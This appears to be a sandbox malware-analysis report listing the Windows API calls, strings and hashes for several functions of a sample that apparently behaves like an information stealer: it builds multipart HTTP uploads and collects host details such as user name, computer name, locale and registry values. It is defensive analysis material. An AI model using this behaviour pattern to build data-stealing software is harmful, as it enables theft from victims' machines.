GetProcAddress.KERNEL32(75070000,00697D10), ref: 0040CF86
GetProcAddress.KERNEL32(75070000,0069B240), ref: 0040CF9E
GetProcAddress.KERNEL32(75070000,00697D50), ref: 0040CFB6
GetProcAddress.KERNEL32(75070000,0069B0F0), ref: 0040CFCF
GetProcAddress.KERNEL32(75070000,0069B198), ref: 0040CFE7
GetProcAddress.KERNEL32(75FD0000,0069B138), ref: 0040D00C
GetProcAddress.KERNEL32(75FD0000,0069B150), ref: 0040D025
GetProcAddress.KERNEL32(75FD0000,00697DD0), ref: 0040D03D
GetProcAddress.KERNEL32(75FD0000,00697DF0), ref: 0040D055
GetProcAddress.KERNEL32(75FD0000,0069B168), ref: 0040D06E
GetProcAddress.KERNEL32(75FD0000,00698D28), ref: 0040D086
GetProcAddress.KERNEL32(75FD0000,0069B1E0), ref: 0040D09E
GetProcAddress.KERNEL32(75FD0000,0069B270), ref: 0040D0B7
GetProcAddress.KERNEL32(75FD0000,0069B2E8), ref: 0040D0CF
GetProcAddress.KERNEL32(75FD0000,0069B5D0), ref: 0040D0E7
GetProcAddress.KERNEL32(75FD0000,00698E48), ref: 0040D100
GetProcAddress.KERNEL32(75FD0000,0068AD60), ref: 0040D118
GetProcAddress.KERNEL32(75FD0000,0069B4B0), ref: 0040D130
GetProcAddress.KERNEL32(75FD0000,0069B600), ref: 0040D149
GetProcAddress.KERNEL32(6D9C0000,00693E38), ref: 0040D16A
GetProcAddress.KERNEL32(74DF0000,0069BDA0), ref: 0040D18B
GetProcAddress.KERNEL32(74E50000,0069BEA0), ref: 0040D1AD
GetProcAddress.KERNEL32(750F0000,00699218), ref: 0040D1D2
GetProcAddress.KERNEL32(750F0000,0069BF40), ref: 0040D1EA
GetProcAddress.KERNEL32(750F0000,00699240), ref: 0040D203
GetProcAddress.KERNEL32(750F0000,0069BE20), ref: 0040D21B
GetProcAddress.KERNEL32(750F0000,00699290), ref: 0040D233
GetProcAddress.KERNEL32(750F0000,0069B570), ref: 0040D24C
GetProcAddress.KERNEL32(6E0C0000,0069B5A0), ref: 0040D271
GetProcAddress.KERNEL32(6E0C0000,0069B408), ref: 0040D289
GetProcAddress.KERNEL32(6E0C0000,0069BC20), ref: 0040D2A2
GetProcAddress.KERNEL32(6E0C0000,0069BE80), ref: 0040D2BA
GetProcAddress.KERNEL32(6E0C0000,0069BC40), ref: 0040D2D2
GetProcAddress.KERNEL32(6E0C0000,0069B4C8), ref: 0040D2EB
GetProcAddress.KERNEL32(74E00000,0069B3C0), ref: 0040D30C
GetProcAddress.KERNEL32(74E00000,00698D88), ref: 0040D324
GetProcAddress.KERNEL32(74E00000,0069B540), ref: 0040D33D
GetProcAddress.KERNEL32(75320000,0069BF80), ref: 0040D35E
GetProcAddress.KERNEL32(75320000,0069B450), ref: 0040D376
GetProcAddress.KERNEL32(73430000,006993A8), ref: 0040D39C
GetProcAddress.KERNEL32(73430000,0069BF20), ref: 0040D3B4
GetProcAddress.KERNEL32(73430000,00699038), ref: 0040D3CC
GetProcAddress.KERNEL32(73430000,0069B468), ref: 0040D3E5
GetProcAddress.KERNEL32(73430000,0069B420), ref: 0040D3FD
GetProcAddress.KERNEL32(73430000,0069BD20), ref: 0040D415
GetProcAddress.KERNEL32(73430000,0069BE00), ref: 0040D42E
GetProcAddress.KERNEL32(73430000,0069B4E0), ref: 0040D446
GetProcAddress.KERNEL32(763B0000,0069BEC0), ref: 0040D467
GetProcAddress.KERNEL32(763B0000,0069BE40), ref: 0040D480
GetProcAddress.KERNEL32(6CE80000,0069B330), ref: 0040D4A1

Strings

0}i, xrefs: 0040CE0A
p}i, xrefs: 0040CB58
P}i, xrefs: 0040CFA9
p~i, xrefs: 0040CAC6
vIs, xrefs: 0040D44C
0~i, xrefs: 0040CA03
8>i, xrefs: 0040D15D
P~i, xrefs: 0040CB27

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0}i$0~i$8>i$P}i$P~i$p}i$p~i$vIs
API String ID: 2238633743-3687647732
Opcode ID: 5b1347a6f592055e922ebb55030ead0bb7b41dc60905fc3e4642caf12741a3a6
Instruction ID: ef153501a72e99a3c0308e0d9390b9c21941dea8c50fcffe353a682d97878bb9
Opcode Fuzzy Hash: 5b1347a6f592055e922ebb55030ead0bb7b41dc60905fc3e4642caf12741a3a6
Instruction Fuzzy Hash: D8826EF5623240AFC345DFA8EE88D963BB9BB8C251701C939F509C3661D73894A5CB1E

Function 00404D10 Relevance: 110.6, APIs: 56, Strings: 7, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00404D5A
RtlAllocateHeap.NTDLL(00000000), ref: 00404D61
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404D88
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404DAA
StrCmpCA.SHLWAPI(?,https://), ref: 00404DCD
lstrcat.KERNEL32(?,00000000), ref: 00404E00
lstrcat.KERNEL32(?,00418CE4), ref: 00404E12
lstrcat.KERNEL32(?,------), ref: 00404E24
lstrcat.KERNEL32(?,?), ref: 00404E38
lstrcat.KERNEL32(?,00418CF0), ref: 00404E4A
lstrcat.KERNEL32(?,00418CE4), ref: 00404E5C
lstrcat.KERNEL32(?,00698EF8), ref: 00404E70
lstrcat.KERNEL32(?,?), ref: 00404E84
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404EAD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404ED2
HttpOpenRequestA.WININET(00000000,00698E98,?,0069B5E8,00000000,00000000,00C00100,00000000), ref: 00404F17
HttpOpenRequestA.WININET(00000000,00698E98,?,0069B5E8,00000000,00000000,00400100,00000000), ref: 00404F49
lstrcat.KERNEL32(?,------), ref: 00404F6E
lstrcat.KERNEL32(?,?), ref: 00404F82
lstrcat.KERNEL32(?,00418CE4), ref: 00404F94
lstrcat.KERNEL32(?,00693F88), ref: 00404FA8
lstrcat.KERNEL32(?,00698D38), ref: 00404FBB
lstrcat.KERNEL32(?,"), ref: 00404FCD
lstrcat.KERNEL32(?,?), ref: 00404FDE
lstrcat.KERNEL32(?,00418CE4), ref: 00404FF0
lstrcat.KERNEL32(?,------), ref: 00405002
lstrcat.KERNEL32(?,?), ref: 00405016
lstrcat.KERNEL32(?,00418CE4), ref: 00405028
lstrcat.KERNEL32(?,00698F38), ref: 0040503C
lstrcat.KERNEL32(?,?), ref: 0040504D
lstrcat.KERNEL32(?,"), ref: 0040505F
lstrcat.KERNEL32(?,00694198), ref: 00405072
lstrcat.KERNEL32(?,00418CE4), ref: 00405084
lstrcat.KERNEL32(?,00694228), ref: 00405097
lstrcat.KERNEL32(?,), ref: 004050A9
lstrlen.KERNEL32(?), ref: 004050B6
lstrlen.KERNEL32(?), ref: 004050C8
GetProcessHeap.KERNEL32(00000000,?), ref: 004050DF
RtlAllocateHeap.NTDLL(00000000), ref: 004050E6
lstrlen.KERNEL32(?), ref: 004050F9
memcpy.NTDLL(?,?,00000000), ref: 0040510E
lstrlen.KERNEL32(?,?,?), ref: 00405123
memcpy.NTDLL(?), ref: 00405130
lstrlen.KERNEL32(?), ref: 0040513D
lstrlen.KERNEL32(?,?,00000000), ref: 00405152
memcpy.NTDLL(?), ref: 00405162
lstrlen.KERNEL32(?,?,?), ref: 004051A1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004051B6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004051D5
StrCmpCA.SHLWAPI(?,200), ref: 004051EB
Sleep.KERNEL32(00007530), ref: 004051FC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040524D
lstrcat.KERNEL32(?,00000000), ref: 00405289
InternetCloseHandle.WININET(?), ref: 00405298
InternetCloseHandle.WININET(?), ref: 004052A5
InternetCloseHandle.WININET(00000000), ref: 004052B2

Strings

https://, xrefs: 00404DC4
", xrefs: 00405053
", xrefs: 00404FC1
(Bi, xrefs: 0040508A
------, xrefs: 00404E18, 00404F62, 00404FF6
200, xrefs: 004051DF
, xrefs: 0040509D

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$(Bi$------$200$https://
API String ID: 3074752877-2831003992
Opcode ID: 5aeaa6601c1089e5593d909b15b18202fddbaf4c467f20ee441975c0695b7ce8
Instruction ID: 7cbe0af2f4709f6cfd7a65b261d08553a02056f1acd8ba1a9c9f480a0dd4b8c9
Opcode Fuzzy Hash: 5aeaa6601c1089e5593d909b15b18202fddbaf4c467f20ee441975c0695b7ce8
Instruction Fuzzy Hash: 20F163B5942318AFCB20DFA0DD88FDA7779BF48700F048599F209A7181DB789A94CF59

Function 00405810 Relevance: 96.3, APIs: 64, Instructions: 315
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040581B
RtlAllocateHeap.NTDLL(00000000), ref: 00405822
lstrcat.KERNEL32(?,00691FA8), ref: 00405835
lstrcat.KERNEL32(?,00690718), ref: 00405846
lstrcat.KERNEL32(?,00418D08), ref: 00405855
lstrcat.KERNEL32(?,006900C8), ref: 00405866
lstrcat.KERNEL32(?,00418D0C), ref: 00405875
lstrcat.KERNEL32(?,00698130), ref: 00405886
lstrcat.KERNEL32(?,00418D08), ref: 00405895
lstrcat.KERNEL32(?,0069A938), ref: 004058A6
GetCurrentProcessId.KERNEL32 ref: 004058AC

Part of subcall function 0040BB40: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0040BB54
Part of subcall function 0040BB40: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040BB75
Part of subcall function 0040BB40: CloseHandle.KERNEL32(00000000), ref: 0040BB7F

lstrcat.KERNEL32(?,00000000), ref: 004058C0
lstrcat.KERNEL32(?,00418D08), ref: 004058CF
lstrcat.KERNEL32(?,0069AAA0), ref: 004058DF

Part of subcall function 0040AED0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,004058EA), ref: 0040AEDD
Part of subcall function 0040AED0: RtlAllocateHeap.NTDLL(00000000), ref: 0040AEE4
Part of subcall function 0040AED0: GetLocalTime.KERNEL32(?,?,?,?,?,004058EA), ref: 0040AEF1
Part of subcall function 0040AED0: wsprintfA.USER32 ref: 0040AF1E

lstrcat.KERNEL32(?,00000000), ref: 004058EF
lstrcat.KERNEL32(?,00418D0C), ref: 004058FE
lstrcat.KERNEL32(?,0069AA40), ref: 0040590F

Part of subcall function 0040AF30: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF40
Part of subcall function 0040AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF47
Part of subcall function 0040AF30: GetTimeZoneInformation.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(?,00000000), ref: 0040591F
lstrcat.KERNEL32(?,00418D08), ref: 0040592E
lstrcat.KERNEL32(?,00698410), ref: 0040593F

Part of subcall function 0040AFB0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040AFC2

lstrcat.KERNEL32(?,00000000), ref: 0040594F
lstrcat.KERNEL32(?,00418D0C), ref: 0040595E
lstrcat.KERNEL32(?,00698310), ref: 0040596E

Part of subcall function 0040AFF0: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040B000
Part of subcall function 0040AFF0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B007
Part of subcall function 0040AFF0: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040B028
Part of subcall function 0040AFF0: LocalAlloc.KERNEL32(00000040,?), ref: 0040B040
Part of subcall function 0040AFF0: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040B054
Part of subcall function 0040AFF0: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040B0A9
Part of subcall function 0040AFF0: wsprintfA.USER32 ref: 0040B0D2
Part of subcall function 0040AFF0: wsprintfA.USER32 ref: 0040B0F0
Part of subcall function 0040AFF0: memset.NTDLL ref: 0040B116
Part of subcall function 0040AFF0: LocalFree.KERNEL32(00000000), ref: 0040B12B

lstrcat.KERNEL32(?,00000000), ref: 0040597E
lstrcat.KERNEL32(?,00418D08), ref: 0040598D
lstrcat.KERNEL32(?,0069A800), ref: 0040599E

Part of subcall function 0040B140: GetSystemPowerStatus.KERNEL32(?), ref: 0040B14A

lstrcat.KERNEL32(?,00000000), ref: 004059AE
lstrcat.KERNEL32(?,00418D0C), ref: 004059BD
lstrcat.KERNEL32(?,0069A830), ref: 004059CE

Part of subcall function 0040B170: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B184
Part of subcall function 0040B170: RtlAllocateHeap.NTDLL(00000000), ref: 0040B18B
Part of subcall function 0040B170: RegOpenKeyExA.KERNEL32(80000002,0069A148,00000000,00020119,004059D9), ref: 0040B1AB
Part of subcall function 0040B170: RegQueryValueExA.KERNEL32(004059D9,0069BB00,00000000,00000000,?,000000FF), ref: 0040B1CC
Part of subcall function 0040B170: RegCloseKey.ADVAPI32(004059D9), ref: 0040B1D6

lstrcat.KERNEL32(?,00000000), ref: 004059DE
lstrcat.KERNEL32(?,00418D0C), ref: 004059ED
lstrcat.KERNEL32(?,0069A968), ref: 004059FD

Part of subcall function 0040B1F0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B1FD
Part of subcall function 0040B1F0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B204
Part of subcall function 0040B1F0: memset.NTDLL ref: 0040B215
Part of subcall function 0040B1F0: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B226
Part of subcall function 0040B1F0: __aulldiv.LIBCMT ref: 0040B240
Part of subcall function 0040B1F0: wsprintfA.USER32 ref: 0040B26C

lstrcat.KERNEL32(?,00000000), ref: 00405A0D
lstrcat.KERNEL32(?,00418D0C), ref: 00405A1C
lstrcat.KERNEL32(?,00698EA8), ref: 00405A2D

Part of subcall function 0040B280: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B294
Part of subcall function 0040B280: RtlAllocateHeap.NTDLL(00000000), ref: 0040B29B
Part of subcall function 0040B280: RegOpenKeyExA.KERNEL32(80000002,0069A5E0,00000000,00020119,8Z@), ref: 0040B2BB
Part of subcall function 0040B280: RegQueryValueExA.KERNEL32(8Z@,0069C608,00000000,00000000,?,000000FF), ref: 0040B2DC
Part of subcall function 0040B280: RegCloseKey.ADVAPI32(8Z@), ref: 0040B2E6

lstrcat.KERNEL32(?,00000000), ref: 00405A3D
lstrcat.KERNEL32(?,00698EC8), ref: 00405A4E

Part of subcall function 0040B300: GetCurrentProcess.KERNEL32(00000000), ref: 0040B30F
Part of subcall function 0040B300: IsWow64Process.KERNEL32(00000000), ref: 0040B316

lstrcat.KERNEL32(?,00000000), ref: 00405A5E
lstrcat.KERNEL32(?,00698E28), ref: 00405A6F
lstrcat.KERNEL32(?,00418D0C), ref: 00405A7E
lstrcat.KERNEL32(?,0069A890), ref: 00405A8F
lstrcat.KERNEL32(?,00000000), ref: 00405A9F
lstrcat.KERNEL32(?,00418D0C), ref: 00405AAE
lstrcat.KERNEL32(?,00698230), ref: 00405ABF

Part of subcall function 0040B370: wsprintfA.USER32 ref: 0040B3CC

lstrcat.KERNEL32(?,00000000), ref: 00405ACF
lstrcat.KERNEL32(?,00418D08), ref: 00405ADE
lstrcat.KERNEL32(?,0069A8A8), ref: 00405AEE

Part of subcall function 0040AE40: GetProcessHeap.KERNEL32(00000000,00000104,?,00405AF9), ref: 0040AE4D
Part of subcall function 0040AE40: RtlAllocateHeap.NTDLL(00000000,?,00405AF9), ref: 0040AE54
Part of subcall function 0040AE40: GetComputerNameA.KERNEL32(00405AF9,00000104), ref: 0040AE6C

lstrcat.KERNEL32(?,00000000), ref: 00405AFE
lstrcat.KERNEL32(?,00418D0C), ref: 00405B0D
lstrcat.KERNEL32(?,0069A8C0), ref: 00405B1E

Part of subcall function 0040AE90: GetProcessHeap.KERNEL32(00000000,00000104,?,00405B29), ref: 0040AE9D
Part of subcall function 0040AE90: RtlAllocateHeap.NTDLL(00000000,?,00405B29), ref: 0040AEA4
Part of subcall function 0040AE90: GetUserNameA.ADVAPI32(?,00000104), ref: 0040AEBC

lstrcat.KERNEL32(?,00000000), ref: 00405B2E
lstrcat.KERNEL32(?,00418D0C), ref: 00405B3D
lstrcat.KERNEL32(?,0069A848), ref: 00405B4E
lstrcat.KERNEL32(?,00000000), ref: 00405B5E
lstrcat.KERNEL32(?,00418D0C), ref: 00405B6D
lstrcat.KERNEL32(?,0069A9E0), ref: 00405B7D

Part of subcall function 0040B430: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B444
Part of subcall function 0040B430: RtlAllocateHeap.NTDLL(00000000), ref: 0040B44B
Part of subcall function 0040B430: RegOpenKeyExA.KERNEL32(80000002,00699600,00000000,00020119,00405B88), ref: 0040B46B
Part of subcall function 0040B430: RegQueryValueExA.KERNEL32(00405B88,0069C590,00000000,00000000,?,000000FF), ref: 0040B48C
Part of subcall function 0040B430: RegCloseKey.ADVAPI32(00405B88), ref: 0040B496

lstrcat.KERNEL32(?,00000000), ref: 00405B8D
lstrcat.KERNEL32(?,00418D0C), ref: 00405B9C
lstrcat.KERNEL32(?,00698D58), ref: 00405BAD

Part of subcall function 0040B4B0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B4BD
Part of subcall function 0040B4B0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B4CB
Part of subcall function 0040B4B0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B4D2
Part of subcall function 0040B4B0: memset.NTDLL ref: 0040B4E9
Part of subcall function 0040B4B0: lstrcat.KERNEL32(?,?), ref: 0040B4FA

lstrcat.KERNEL32(?,00000000), ref: 00405BBD
lstrcat.KERNEL32(?,00418D08), ref: 00405BCC
lstrcat.KERNEL32(?,006982B0), ref: 00405BDD
lstrcat.KERNEL32(?,00418D0C), ref: 00405BEC

Part of subcall function 0040B520: RegOpenKeyExA.KERNEL32(80000002,0069E1D8,00000000,00020019,00000000), ref: 0040B572

lstrlen.KERNEL32(?), ref: 00405C02

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID:
API String ID: 1685704716-0
Opcode ID: c3cb6189f57ce36048423c6dcfcb4504c1e0643d3625a7290589daafb719769f
Instruction ID: 8ed83170a48b8d73059fe8d37d72f8a06627bc10b4374578af5f7091a665cf8b
Opcode Fuzzy Hash: c3cb6189f57ce36048423c6dcfcb4504c1e0643d3625a7290589daafb719769f
Instruction Fuzzy Hash: ABC1ABBA601304FBC704DBE4EF49D9E777AAF4C7417248568B209D3661CA38AB10DF69

Function 00407E90 Relevance: 45.3, APIs: 30, Instructions: 284
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407EA5
lstrcat.KERNEL32(?,00414018), ref: 00407EB7

Part of subcall function 0040BAA0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040BAC1

lstrcat.KERNEL32(?,00000000), ref: 00407ECF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407EE2
wsprintfA.USER32 ref: 00407F0F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407F5F
RtlAllocateHeap.NTDLL(00000000), ref: 00407F66
StrCmpCA.SHLWAPI(?,00418D28), ref: 00408012
lstrcat.KERNEL32(?,0069C368), ref: 00408039
lstrcat.KERNEL32(?,0069C328), ref: 0040805E
StrCmpCA.SHLWAPI(?,00418D28), ref: 00408070
lstrcat.KERNEL32(?,0069C368), ref: 00408098
lstrcat.KERNEL32(?,0069C328), ref: 004080BE

Part of subcall function 00407370: memset.MSVCRT ref: 004073C2
Part of subcall function 00407370: LocalAlloc.KERNEL32(00000040,?), ref: 00407411
Part of subcall function 00407370: lstrcat.KERNEL32(?,00000000), ref: 00407477

lstrcat.KERNEL32(?,00418D28), ref: 004080EE
lstrcat.KERNEL32(?,?), ref: 00408102
lstrcat.KERNEL32(?,00419324), ref: 00408114
lstrcat.KERNEL32(?,?), ref: 00408128
lstrcat.KERNEL32(?,00419324), ref: 0040813A
lstrcat.KERNEL32(?,?), ref: 0040814E
lstrcat.KERNEL32(?,00419324), ref: 00408160
lstrcat.KERNEL32(?,?), ref: 00408174
lstrcat.KERNEL32(?,00419324), ref: 00408186
lstrcat.KERNEL32(?,?), ref: 0040819A
lstrcat.KERNEL32(?,00419324), ref: 004081AC
lstrcat.KERNEL32(?,?), ref: 004081C0
lstrcat.KERNEL32(?,00419324), ref: 004081D2
lstrcat.KERNEL32(?,00000000), ref: 00408210
lstrcat.KERNEL32(?,00418D0C), ref: 00408222
lstrlen.KERNEL32(?), ref: 00408234
DeleteFileA.KERNEL32(?), ref: 00408284

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 0b4adb1af1544757a655a0c94e1efc14ad14534226af656a000d926cb7abe209
Instruction ID: a5dd8e5f66f777792d5789dadda844b880bff3efeaa08dff0c003fe794a5fb3f
Opcode Fuzzy Hash: 0b4adb1af1544757a655a0c94e1efc14ad14534226af656a000d926cb7abe209
Instruction Fuzzy Hash: FBB1B6B5941208BBCB10EFA4ED8DFDE7779AF48700F008598F609A7191C7389A51CF59

Function 00408DF0 Relevance: 33.3, APIs: 22, Instructions: 284
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00408E1F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408E6C
RtlAllocateHeap.NTDLL(00000000), ref: 00408E73
lstrcat.KERNEL32(?,0069C368), ref: 00408FDA
lstrcat.KERNEL32(?,0069C328), ref: 00409000
lstrcat.KERNEL32(?,0069C368), ref: 004090B8
lstrcat.KERNEL32(?,0069C328), ref: 004090DE
lstrcat.KERNEL32(?,?), ref: 004090F2
lstrcat.KERNEL32(?,00419324), ref: 00409104
lstrcat.KERNEL32(?,?), ref: 00409118
lstrcat.KERNEL32(?,00419324), ref: 0040912A
lstrcat.KERNEL32(?,?), ref: 0040913E
lstrcat.KERNEL32(?,00419324), ref: 00409150
lstrcat.KERNEL32(?,?), ref: 00409164
lstrcat.KERNEL32(?,00419324), ref: 00409176
lstrcat.KERNEL32(?,?), ref: 0040918A
lstrcat.KERNEL32(?,00419324), ref: 0040919C
lstrcat.KERNEL32(?,?), ref: 004091B0
lstrcat.KERNEL32(?,00419324), ref: 004091C2
lstrcat.KERNEL32(?,?), ref: 004091D6
lstrcat.KERNEL32(?,00418D0C), ref: 004091E8
lstrlen.KERNEL32(?), ref: 004091FA

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 76512b3c44e7d74bf553097c7e1b6141f52ff925f396e8bc35bff706c62d44c0
Instruction ID: 1754f34d814f79a9e8167620b14264a718b44691b21acda5c5b3bf3649e647ec
Opcode Fuzzy Hash: 76512b3c44e7d74bf553097c7e1b6141f52ff925f396e8bc35bff706c62d44c0
Instruction Fuzzy Hash: E0C17EB1A00218AFCB24DF64DE89BDE77B5AF48704F0481D8F209A7291C6399E90CF59

Function 00407C00 Relevance: 31.7, APIs: 21, Instructions: 174
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00408A2C,?,?,00000001,00000000,00000000), ref: 00407C19
lstrcat.KERNEL32(?,00414018), ref: 00407C2B

Part of subcall function 0040BAA0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040BAC1

lstrcat.KERNEL32(?,00000000), ref: 00407C43
CopyFileA.KERNEL32(?,?,00000001), ref: 00407C56
DeleteFileA.KERNEL32(?), ref: 00407E7C

Part of subcall function 00407370: memset.MSVCRT ref: 004073C2
Part of subcall function 00407370: LocalAlloc.KERNEL32(00000040,?), ref: 00407411
Part of subcall function 00407370: lstrcat.KERNEL32(?,00000000), ref: 00407477

lstrcat.KERNEL32(?,00000000), ref: 00407D37
lstrcat.KERNEL32(00000000,00698E78), ref: 00407D4B
lstrcat.KERNEL32(00000000,?), ref: 00407D5C
lstrcat.KERNEL32(00000000,00418D0C), ref: 00407D6E
lstrcat.KERNEL32(00000000,00698ED8), ref: 00407D81
lstrcat.KERNEL32(00000000,?), ref: 00407D91
lstrcat.KERNEL32(00000000,00418D0C), ref: 00407DA3
lstrcat.KERNEL32(00000000,00698EE8), ref: 00407DB6
lstrcat.KERNEL32(00000000,?), ref: 00407DCA
lstrcat.KERNEL32(00000000,00418D0C), ref: 00407DDB
lstrcat.KERNEL32(00000000,00698D98), ref: 00407DEF
lstrcat.KERNEL32(00000000,?), ref: 00407E03
lstrcat.KERNEL32(00000000,00418D0C), ref: 00407E15
lstrcat.KERNEL32(00000000,0069C298), ref: 00407E28
lstrcat.KERNEL32(00000000,?), ref: 00407E3B
lstrcat.KERNEL32(00000000,00418D08), ref: 00407E4D

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: 66eeb1ad6a8d6a2b6d0ccfa29ec14bfe1bb6bdb7f80ed3d6a1edd565cfbf8c5c
Instruction ID: 8e4766552fbd43dc1917a09da9b98d467413e4854ad92de658b5e1f98992a880
